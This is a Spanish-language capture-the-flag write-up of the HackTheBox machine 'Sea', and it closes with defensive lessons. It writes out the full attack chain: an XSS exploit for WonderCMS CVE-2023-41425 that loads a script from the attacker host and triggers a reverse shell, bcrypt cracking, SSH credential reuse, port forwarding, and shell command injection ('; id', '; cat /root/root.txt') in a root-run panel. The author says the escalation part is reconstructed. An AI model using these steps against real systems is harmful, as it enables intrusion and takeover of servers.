the_open_door
café
ESEN

Sea

HackTheBoxFácilLinux10.10.11.28

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#wondercms#xss#cve-2023-41425#rce#credential-reuse#hash-cracking#command-injection#port-forwarding#linux
TL;DR. Sea es una máquina Linux fácil. El puerto 80 sirve un sitio hecho con WonderCMS, con un formulario que un administrador revisa. Eso permite explotar CVE-2023-41425: enviamos en el campo Website un enlace con un <script> que carga nuestro xss.js; cuando el admin lo abre, el script roba su token e instala un tema malicioso que nos da una reverse shell como www-data. A partir de ahí, la base de datos de WonderCMS guarda un hash de contraseña que crackeamos y reutilizamos por SSH para coger user.txt. Para root, un panel de monitorización interno en el puerto 8080 (accesible vía port forwarding) es vulnerable a inyección de comandos y corre como root.
Nota. Las notas originales de esta máquina solo documentan en detalle el acceso inicial (la cadena XSS a RCE, con sus capturas). La escalada de privilegios se reconstruye aquí a partir del exploit público y del comportamiento conocido de la máquina, con comandos y explicación, sin reproducir valores (contraseñas, flags) que no aparezcan en las capturas.

Reconocimiento

Escaneo inicial

El ping previo devuelve un TTL cercano a 64, indicio de Linux (el TTL parte de 64 y se decrementa un punto por salto de enrutado; es una pista, no una prueba). Un escaneo TCP completo con nmap muestra dos puertos abiertos: 22 (SSH) y 80 (HTTP).

nmap -p- --open -n -sS -Pn --min-rate 5000 -vvv 10.10.11.28
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 10.10.11.28
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH (Ubuntu)
80/tcp open  http    Apache httpd (Ubuntu)

WonderCMS y el formulario de registro

Al fuzzear directorios aparece un /themes/ (junto con /data/ y /plugins/), la estructura típica de WonderCMS, un gestor de contenidos minimalista en PHP. La web es un sitio personal con una sección que incluye un formulario ("Competition registration") donde se piden nombre, correo, edad, país y un campo Website. Que un formulario así exista sugiere que alguien (un administrador) lo revisa desde el panel, justo la condición que necesita la vulnerabilidad.

Shell como www-data

CVE-2023-41425: del XSS al RCE

WonderCMS (versiones 3.2.0 a 3.4.2) es vulnerable a CVE-2023-41425, que encadena un XSS con la instalación de temas para lograr ejecución de código. El campo Website del formulario no se sanea: si enviamos un enlace que contenga una etiqueta <script>, ese script se ejecutará en el navegador del administrador cuando abra nuestra entrada.

Usamos el exploit público de prodigiousMind, que genera un xss.js. Ese script, ejecutándose en la sesión del admin, lee su token de WonderCMS y lo usa para instalar un tema malicioso (un ZIP con una reverse shell en PHP). Lo preparamos así: levantamos un servidor HTTP que sirva el xss.js y un listener que recoja la shell.

git clone https://github.com/prodigiousMind/CVE-2023-41425
python3 exploit.py http://10.10.11.28/index.php?page=loginURL 10.10.15.39 <port>
python3 -m http.server 8000     # sirve el xss.js
nc -lvnp <port>               # recibe la reverse shell

En el formulario, el campo Website lleva el payload que carga nuestro xss.js desde la máquina atacante (http://10.10.15.39:8000/xss.js):

El campo Website del formulario lleva el script que carga el xss.js del atacante

Cuando el administrador revisa la entrada, su navegador ejecuta el xss.js, instala el tema y dispara la reverse shell. En nuestra terminal vemos la conexión entrante: somos www-data.

El exploit en marcha: servidor del xss.js, listener de netcat y la reverse shell como www-data

listening on [any] 4444 ...
connect to [10.10.15.39] from (UNKNOWN) [10.10.11.28] 4494
$ whoami
www-data

Shell como amay

Hash de contraseña en la base de datos de WonderCMS

WonderCMS no usa una base de datos SQL: guarda su configuración (incluido el hash de la contraseña del administrador) en un fichero JSON dentro de su directorio data/. Como www-data, lo leemos.

cat /var/www/sea/data/database.js

En ese fichero hay un hash bcrypt (prefijo $2y$). No se puede invertir, pero sí intentar crackearlo con un diccionario:

john --wordlist=rockyou.txt --format=bcrypt hash.txt

Reutilización de credenciales por SSH

En /etc/passwd hay un usuario real con shell además de root: amay. Como las personas reutilizan contraseñas, probamos la recuperada del database.js para entrar por SSH. La contraseña se reutiliza y entramos como amay, con user.txt en su home.

ssh amay@10.10.11.28
cat /home/amay/user.txt

Shell como root

Un panel de monitorización en localhost

Enumerando los servicios que escuchan, aparece uno atado a 127.0.0.1:8080, no accesible desde fuera. Para alcanzarlo montamos un port forwarding por SSH, que reenvía ese puerto interno a nuestra máquina.

ssh -L 8080:127.0.0.1:8080 amay@10.10.11.28

Al abrir http://localhost:8080 aparece un pequeño panel de monitorización del sistema (un script que analiza ficheros de log y muestra información de la máquina). Pide una contraseña, que es la misma de amay.

Inyección de comandos como root

El panel tiene una función que recibe la ruta de un fichero de log para "analizarlo". Por detrás, ese parámetro acaba pasándose a la shell sin sanear, así que es vulnerable a inyección de comandos: añadiendo un metacarácter (;, |, $(...)) colamos un comando propio. Y, como el servicio corre como root, ese comando se ejecuta con sus privilegios.

# en el parámetro del fichero a analizar:
/var/log/apache2/access.log; id

Con ejecución como root ya es trivial leer la flag (o lanzar una reverse shell de root, o añadir nuestra clave SSH a /root/.ssh/authorized_keys).

# inyectando: ; cat /root/root.txt
cat /root/root.txt

Máquina rooteada.

Cadena de ataque

HTTP sea (80)  ─►  WonderCMS  ─►  formulario con campo Website
  │  CVE-2023-41425: <script> carga xss.js en la sesión del admin
  ▼
xss.js roba el token  ─►  instala tema malicioso  ─►  www-data (reverse shell)
  │  data/database.js: hash bcrypt
  ▼
john (crackeo)  ─►  SSH amay (reutilización de credenciales)  ─►  user.txt
  │  servicio interno 127.0.0.1:8080  +  ssh -L (port forwarding)
  ▼
panel de monitorización  ─►  inyección de comandos (corre como root)  ─►  root.txt

Lecciones aprendidas

  • Un XSS contra un administrador es RCE. El campo Website sin sanear permitió ejecutar nuestro script en la sesión del admin, robar su token e instalar un tema con una reverse shell. El XSS no es "solo" robar cookies: con la víctima adecuada, es compromiso del servidor. Sanear y escapar toda entrada que se muestre en el panel, y una CSP estricta, lo habrían cortado.
  • La configuración guarda secretos aunque no haya base de datos SQL. WonderCMS dejaba el hash de la contraseña en un JSON legible; de ahí salió la credencial. Conviene proteger esos ficheros y no asumir que "sin SQL" no hay nada que robar.
  • Las contraseñas se reutilizan entre el CMS y el sistema. La del database.js servía también para el SSH de amay: reutilizar credenciales convierte un secreto de aplicación en acceso al sistema. Credenciales distintas por servicio habrían frenado el pivote.
  • Lo que escucha en localhost sigue siendo superficie. El panel del 8080 solo aceptaba conexiones internas, pero un port forwarding lo trae a nuestro alcance. La segmentación ayuda, pero no sustituye a validar y endurecer cada servicio interno.
  • Pasar entrada a la shell es entregar el proceso. El panel concatenaba un parámetro a un comando y corría como root: una inyección de comandos dio root directamente. Nunca se debe construir comandos con entrada del usuario; hay que separar binario y argumentos y aplicar mínimo privilegio.
Cheatsheet de comandos 11 comandos

Repaso rápido